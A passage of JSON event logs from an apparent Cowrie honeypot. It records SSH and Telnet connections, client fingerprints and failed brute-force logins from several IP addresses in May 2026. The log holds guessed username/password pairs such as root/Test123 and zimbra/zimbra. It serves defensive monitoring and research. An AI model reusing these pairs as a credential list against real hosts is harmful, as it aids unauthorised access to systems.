-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:47.101515Z","src_ip":"31.40.204.166","session":"815450850a6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:47.796188Z","src_ip":"31.40.204.166","session":"815450850a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.47146677970886,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:48.033425Z","src_ip":"152.42.224.71","session":"1b44a8f9dcc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:48.983396Z","src_ip":"31.40.204.166","session":"815450850a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":35824,"dst_ip":"159.203.135.109","dst_port":22,"session":"5407775fba45","protocol":"ssh","message":"New connection: 182.217.16.126:35824 (159.203.135.109:22) [session: 5407775fba45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:50.911813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:50.915854Z","src_ip":"182.217.16.126","session":"5407775fba45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:51.126722Z","src_ip":"182.217.16.126","session":"5407775fba45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123","message":"login attempt [root/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:52.010158Z","src_ip":"182.217.16.126","session":"5407775fba45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":45260,"dst_ip":"159.203.135.109","dst_port":22,"session":"a986c228c801","protocol":"ssh","message":"New connection: 103.15.222.183:45260 (159.203.135.109:22) [session: a986c228c801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:52.701830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:52.706393Z","src_ip":"103.15.222.183","session":"a986c228c801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59820,"dst_ip":"10.17.0.5","dst_port":23,"session":"eedfce6eee34","protocol":"telnet","message":"New connection: 152.42.224.71:59820 (10.17.0.5:23) [session: eedfce6eee34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:52.821175Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:52.957050Z","src_ip":"103.15.222.183","session":"a986c228c801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:53.223211Z","src_ip":"182.217.16.126","session":"5407775fba45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima2002","message":"login attempt [root/dima2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:53.703862Z","src_ip":"103.15.222.183","session":"a986c228c801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:54.954318Z","src_ip":"103.15.222.183","session":"a986c228c801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43570,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e9d210f0558","protocol":"telnet","message":"New connection: 152.42.224.71:43570 (10.17.0.5:23) [session: 8e9d210f0558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:56.287883Z"}
{"eventid":"cowrie.session.closed","duration":34.31301283836365,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:57.824227Z","src_ip":"152.42.224.71","session":"6889bf6f1a73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53562,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5cd24161c6f","protocol":"ssh","message":"New connection: 31.40.204.166:53562 (159.203.135.109:22) [session: b5cd24161c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:59.115639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:59.120630Z","src_ip":"31.40.204.166","session":"b5cd24161c6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.85274028778076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:59.221797Z","src_ip":"152.42.224.71","session":"70ab4807768c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:59.289528Z","src_ip":"31.40.204.166","session":"b5cd24161c6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xiao","password":"xiao","message":"login attempt [xiao/xiao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:59.721657Z","src_ip":"31.40.204.166","session":"b5cd24161c6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:00.893542Z","src_ip":"31.40.204.166","session":"b5cd24161c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43572,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ca9e8b245a2","protocol":"telnet","message":"New connection: 152.42.224.71:43572 (10.17.0.5:23) [session: 5ca9e8b245a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:01.628253Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43580,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dadae5b78b9","protocol":"telnet","message":"New connection: 152.42.224.71:43580 (10.17.0.5:23) [session: 7dadae5b78b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:03.673157Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43584,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4b9ab63df49","protocol":"telnet","message":"New connection: 152.42.224.71:43584 (10.17.0.5:23) [session: d4b9ab63df49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:04.372366Z"}
{"eventid":"cowrie.session.closed","duration":119.38839054107666,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:07.823755Z","src_ip":"152.42.224.71","session":"b03a75c57dc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36032,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e572b17f594","protocol":"ssh","message":"New connection: 31.40.204.166:36032 (159.203.135.109:22) [session: 5e572b17f594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:11.421481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:11.426239Z","src_ip":"31.40.204.166","session":"5e572b17f594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:11.592258Z","src_ip":"31.40.204.166","session":"5e572b17f594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:12.012979Z","src_ip":"31.40.204.166","session":"5e572b17f594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":114.25416660308838,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:12.928063Z","src_ip":"152.42.224.71","session":"58aa9f8f7f81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:13.217370Z","src_ip":"31.40.204.166","session":"5e572b17f594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.30591869354248,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:14.464281Z","src_ip":"152.42.224.71","session":"e7ab5a6f2861","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52880,"dst_ip":"10.17.0.5","dst_port":23,"session":"77e39d8c2916","protocol":"telnet","message":"New connection: 152.42.224.71:52880 (10.17.0.5:23) [session: 77e39d8c2916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:20.847158Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33148,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9440a10641e","protocol":"ssh","message":"New connection: 31.40.204.166:33148 (159.203.135.109:22) [session: b9440a10641e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:23.929396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:23.938250Z","src_ip":"31.40.204.166","session":"b9440a10641e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:24.506492Z","src_ip":"31.40.204.166","session":"b9440a10641e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:24.982183Z","src_ip":"31.40.204.166","session":"b9440a10641e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:26.207835Z","src_ip":"31.40.204.166","session":"b9440a10641e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39010,"dst_ip":"10.17.0.5","dst_port":23,"session":"db0ac721cddf","protocol":"telnet","message":"New connection: 152.42.224.71:39010 (10.17.0.5:23) [session: db0ac721cddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:26.333058Z"}
{"eventid":"cowrie.session.closed","duration":81.01866579055786,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:27.237506Z","src_ip":"152.42.224.71","session":"b75156d46d94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39012,"dst_ip":"10.17.0.5","dst_port":23,"session":"c42e311866f8","protocol":"telnet","message":"New connection: 152.42.224.71:39012 (10.17.0.5:23) [session: c42e311866f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:28.597663Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39022,"dst_ip":"10.17.0.5","dst_port":23,"session":"d035b4cde9fb","protocol":"telnet","message":"New connection: 152.42.224.71:39022 (10.17.0.5:23) [session: d035b4cde9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:31.753319Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39030,"dst_ip":"10.17.0.5","dst_port":23,"session":"3799957b2e92","protocol":"telnet","message":"New connection: 152.42.224.71:39030 (10.17.0.5:23) [session: 3799957b2e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:31.942480Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":46318,"dst_ip":"159.203.135.109","dst_port":22,"session":"f40063305ec7","protocol":"ssh","message":"New connection: 109.237.96.109:46318 (159.203.135.109:22) [session: f40063305ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:32.334897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:32.340413Z","src_ip":"109.237.96.109","session":"f40063305ec7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:32.433685Z","src_ip":"109.237.96.109","session":"f40063305ec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39042,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a56d9778e91","protocol":"telnet","message":"New connection: 152.42.224.71:39042 (10.17.0.5:23) [session: 3a56d9778e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:32.453209Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty111","message":"login attempt [root/qwerty111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:32.720758Z","src_ip":"109.237.96.109","session":"f40063305ec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:33.833899Z","src_ip":"109.237.96.109","session":"f40063305ec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39246,"dst_ip":"159.203.135.109","dst_port":22,"session":"92e9a91b294e","protocol":"ssh","message":"New connection: 31.40.204.166:39246 (159.203.135.109:22) [session: 92e9a91b294e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:36.220775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:36.497241Z","src_ip":"31.40.204.166","session":"92e9a91b294e","protocol":"ssh"}
